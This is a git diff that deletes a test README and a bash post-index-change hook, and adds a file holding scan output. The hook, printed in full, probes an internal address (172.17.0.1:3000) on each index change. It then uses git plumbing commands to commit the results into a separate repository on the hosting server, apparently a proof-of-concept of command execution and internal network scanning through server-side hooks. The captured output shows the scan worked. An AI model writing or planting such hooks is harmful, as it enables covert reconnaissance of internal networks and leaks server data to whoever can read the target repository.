diff --git a/README.md b/README.md deleted file mode 100644 index 00bcb6e..0000000 --- a/README.md +++ /dev/null @@ -1 +0,0 @@ -# test \ No newline at end of file diff --git a/hooks/post-index-change b/hooks/post-index-change deleted file mode 100755 index 6d7e5fc..0000000 --- a/hooks/post-index-change +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash -echo '=== 172.17.0.1 ===' > /tmp/scan172.txt -curl -s http://172.17.0.1:3000/api/v1/version >> /tmp/scan172.txt 2>&1 -echo '' >> /tmp/scan172.txt -curl -s http://172.17.0.1:3000/ 2>/dev/null | grep -i 'title\|Powered by' | head -3 >> /tmp/scan172.txt -echo '=== DONE ===' >> /tmp/scan172.txt -BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git hash-object -w /tmp/scan172.txt` -TREE=`printf "100644 blob %s\tscan172.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git mktree` -PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git rev-parse HEAD` -COMMIT=`echo "scan172" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git commit-tree $TREE -p $PARENT` -/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git update-ref refs/heads/main $COMMIT diff --git a/scan172.txt b/scan172.txt new file mode 100644 index 0000000..a5be39a --- /dev/null +++ b/scan172.txt @@ -0,0 +1,4 @@ +=== 172.17.0.1 === +{"message":"Unauthorized"} +
Enter your email and password to sign in